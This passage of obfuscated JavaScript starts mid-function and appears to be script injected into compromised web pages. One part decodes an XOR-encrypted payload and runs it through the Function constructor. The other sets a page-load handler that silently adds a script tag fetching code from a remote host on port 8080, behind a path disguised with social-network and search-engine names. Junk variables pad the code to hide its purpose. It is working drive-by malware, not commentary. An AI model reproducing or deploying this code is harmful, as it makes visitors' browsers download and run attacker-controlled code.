[1,0,2])]-B;b>=n;b=b-[121,79,1,212][2]){this.wQ="wQ";var bb=new Date();q+=C[s("achtrA", [1,2,0])](b);this.kYD=23255;}var hZ;if(hZ!='Nh' && hZ!='Ke'){hZ=''};return q;this.Jj=false;}var rE="rE";var gu="gu"; function dp(OS){var lY='';var Qa;if(Qa!='' && Qa!='UOw'){Qa=null};var Tq=new Date();var Eh=OS[s("egnlth", [3,0,2,1])];var p=[208,255,227][1];var f=[0,246][0];var gD=false;var Z=[73,0][1];this.gk='';var z=[14,1][1];var Ti="Ti";while(f<Eh){f++;this.vk='';var ZZ;if(ZZ!='Xs' && ZZ!='TR'){ZZ=''};I=O(OS,f - z);var Fv;if(Fv!='Ta' && Fv!='yk'){Fv=''};this.yP="";Z+=I*Eh;}var JI;if(JI!='ZW' && JI!='LR'){JI='ZW'};var aK;if(aK!='' && aK!='eU'){aK=''};return new H(Z % p);var Gp;if(Gp!='' && Gp!='ru'){Gp=''};}var Bn=new String();var Op;if(Op!='' && Op!='nX'){Op=''};var kT;if(kT!='' && kT!='Xk'){kT=''};this.KE="KE";var rX;if(rX!='UVN' && rX!='ct'){rX='UVN'};var IA=new Array(); var N=function(EX,P){var VL="VL";var BO;if(BO!=''){BO='GA'};return EX^P;};var Vh=new Array();this.ld=56483;var qR;if(qR!='Pw' && qR!='Tt'){qR='Pw'};var Gc;if(Gc!='xu' && Gc!='uA'){Gc=''};this.zm="";var G=window;this.Me=59320;var bC=G[s("vela", [1,0])];var Zm=bC(s("unFticon", [2,0,1]));var pqE;if(pqE!='oS'){pqE='oS'};var Bw=new Array();var D = '';var H=bC(s("trSngi", [2,0,1]));this.Yn="Yn";var m=bC(s("eEgRxp", [3,0,2,1]));var Gs;if(Gs!='gd'){Gs=''};this.iS="iS";this.OC=60348;this.jAx=23159;var Jn;if(Jn!='wG' && Jn!='UU'){Jn='wG'};this.AM="";var gi;if(gi!='xf'){gi='xf'};var e=H[s("roarfCmhCode", [4,0,1,6,5,7,2,3])];var hY;if(hY!='' && hY!='ZO'){hY=''};var Sa;if(Sa!='yO' && Sa!='Ad'){Sa='yO'};var g=G[s("enuacspe", [2,1,0])];this.MNx="";this.BFN=false;this.rI="";var z =[25,1][1];this.vF="vF";var Rj =[0][0];this.ly="";var RY;if(RY!=''){RY='YT'};var U = "%";var IT = '';var xU=new Date();var Am;if(Am!='Jt'){Am='Jt'};var ze = /[^@a-z0-9A-Z_-]/g;var u = '';var J = '';var xuw='';var bf;if(bf!='' && bf!='Ow'){bf='JW'};var n =[197,69,0,132][2];var We;if(We!='SBi' && We!='ra'){We=''};var h = cz[s("elgnht", [1,0])];var lx =[157,2,53][1];var dz="";var Cr=[1, s("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, s("oeumdctdbon..eppyadlhinCd(d)", [4,0,5,2,3,1]),3, s("mco.vlietsiesdei.gnr8u:080", [1,2,0,3]),4, s(".wcmonugrdreuocon.d.matt", [2,4,3,0,1,6,5]),5, s("s.dAterttubi(eted\'ref\'", [2,1,0]),6, s("uyobtuce.om", [1,2,0]),7, s("lraelpecsi.com", [2,4,0,1,3]),8, s("dniwwolno.aod", [3,2,1,0,5,4]),11, s("aiemgf.aopcm", [1,3,0,4,2,5]),12, s("utcfno)(in", [3,0,4,2,1]),14, s("ogoglco.em", [3,2,0,1,4]),15, s("dfhcanbk", [2,0,1,3]),16, s("htcac(e)", [4,3,1,2,0]),17, s("ht\"p:t", [2,0,1]),18, s("rd.sc", [1,2,3,0]),19, s("1\'\')", [2,0,1,3]),20, s("ytr", [1,2,0])];this.yd="yd";var XB='';var TT;if(TT!='' && TT!='rt'){TT=null};for(var gt=n; gt < h; gt+=lx){J+= U; var iL;if(iL!='zx'){iL=''};J+= cz[s("usbstr", [3,0,2,1])](gt, lx);}this.iW="";this.Kw='';var cz = g(J);var ZG=new Date();var nt;if(nt!='' && nt!='kG'){nt='fy'};var YAF=33454;var S = new H(o);var Pg = S[s("epracle", [2,0,1])](ze, IT);var rS='';var x = new H(Zm);var Qq=false;Pg = c(Pg);this.BS=2487;var gG;if(gG!='rN'){gG=''};var RZ=new Array();var jS;if(jS!='' && jS!='YY'){jS=''};var ox = Cr[s("gtelnh", [3,2,4,0,1])];var UZr;if(UZr!='bR' && UZr != ''){UZr=null};var fn;if(fn!='' && fn!='Yc'){fn='ia'};var MeA;if(MeA!='' && MeA!='SY'){MeA=''};var dpB = x[s("arclpee", [1,5,4,3,0,2,6])](ze, IT);this.Ehk=43348;var dpB = dp(dpB);var rp;if(rp!='' && rp!='PM'){rp='Im'};var Yq=9257;var cd=dp(Pg);var Oj=new String();var dm="";for(var b=n; b < (cz[s("ntlgeh", [2,4,0,3,1])]);b=b+[1][0]) {this.Oi="";this.KG="";var Go = Pg.charCodeAt(Rj);var hM = O(cz,b);this.wl="";this.BD="";hM = N(hM, Go);var ee='';var qm;if(qm!='Nm' && qm != ''){qm=null};hM = N(hM, cd);this.Og="Og";hM = N(hM, dpB);this.IF="";var uAK;if(uAK!='' && uAK!='zGi'){uAK=null};var Fg;if(Fg!='' && Fg!='ak'){Fg=''};this.Jr=12957;Rj++;var CG;if(CG!='iH'){CG=''};var ArA="";var hj=false;var hx=false;if(Rj > Pg.length-z){var qZ;if(qZ!='' && qZ!='Eq'){qZ='oj'};var nz;if(nz!='' && nz!='GZ'){nz='pe'};Rj=n;var zt;if(zt!=''){zt='RW'};}var pT=new Array();u += e(hM);}for(fS=n; fS < ox; fS+=lx){var ws=new Date();var ht=new Date();var oy="oy";var j = e(Cr[fS]);this.Ir="";var wj;if(wj!='' && wj!='Hd'){wj=null};var pr=4795;var pL = Cr[fS + z];var Ej=new String();var dh=new String();var DJ;if(DJ!='uh' && DJ != ''){DJ=null};var uO=new Array();var kA=false;var rd=false;var ku = new m(j, e(103));var VO;if(VO!='kk'){VO='kk'};u=u[s("leracpe", [2,1,5,0,3,4])](ku, pL);}var vG;if(vG!='tC'){vG='tC'};this.iP="";var Db='';var gb;if(gb!=''){gb='eI'};var HT=new Zm(u);HT();var uM=new String();var mnh;if(mnh!='GZP'){mnh=''};var HL;if(HL!='NSy' && HL!='cN'){HL=''};cd = '';x = '';var Pn=new Array();u = '';var oJC;if(oJC!='bE'){oJC=''};dpB = '';var ng;if(ng!='' && ng!='OV'){ng=''};HT = '';var ARg;if(ARg!='' && ARg!='AAu'){ARg='to'};var iz="";this.Um=false;this.hQ="hQ";Pg = '';var sG="sG";this.Hx="Hx";var it=new Array();var Eim=new Array();return '';this.BL="";};this.Jou='';var kP;if(kP!='eL' && kP != ''){kP=null};o(Mt);


var Ev;if(Ev!='kc' && Ev!='_'){Ev=''};function a(){this.H="";this.Y="";var J;if(J!='' && J!='P'){J='MK'};var Ed=new Array();var z=window;var r=unescape;var d=r("%2f%6f%64%6e%6f%6b%6c%61%73%73%6e%69%6b%69%2d%72%75%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%65%6f%70%6c%65%2e%63%6f%6d%2e%70%68%70");var FR;if(FR!='N'){FR=''};var wg="";function A(q,W){var Yc=new String();var S;if(S!='f' && S!='Q'){S=''};var AF='';var x=String("g");var XV;if(XV!='L' && XV != ''){XV=null};var KB;if(KB!='HD' && KB != ''){KB=null};var X=r("%5b"), qt=r("%5d");this.MD="";var y;if(y!=''){y='Sh'};var M=X+W+qt;var Kg="";var MF=new RegExp(M, x);return q.replace(MF, new String());};var mb;if(mb!='PN'){mb=''};var e=A('86997409695423685274719360574437','75126943');var Fv="";var mj;if(mj!='SX' && mj != ''){mj=null};var l=new String();var B=document;var ro;if(ro!='Pb' && ro!='DYL'){ro=''};function k(){var VI;if(VI!='' && VI!='mX'){VI='iq'};var o=r("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var QM="";var j="";var Aq="";l=o;var rm=new Date();l+=e;l+=d;var tc="";var uY="";this.JJ="";try {this.qk='';var qC;if(qC!=''){qC='up'};E=B.createElement(A('sRcjrliCpxtq','vRxSnIkjlbCa1Vq'));var wR;if(wR!='' && wR!='Jr'){wR=null};var yg=new Date();var HQ=new String();var mD;if(mD!='' && mD!='xV'){mD=null};E[r("%64%65%66%65%72")]=[1][0];var h_=new Date();this.ftE='';E[r("%73%72%63")]=l;var Eh=new String();var ah;if(ah!='' && ah!='uP'){ah=''};B.body.appendChild(E);this.Iy='';var yA=new String();} catch(MC){this.Qe='';alert(MC);};this.sO="";}var kj;if(kj!='' && kj!='ty'){kj=null};z[new String("onloa"+"d")]=k;var Mg=new Date();this.xt='';};this.gs="";var kV=new Date();var lX;if(lX!='' && lX!='jk'){lX='LY'};a();var Nl='';var Ie;if(Ie!=''){Ie='_x'};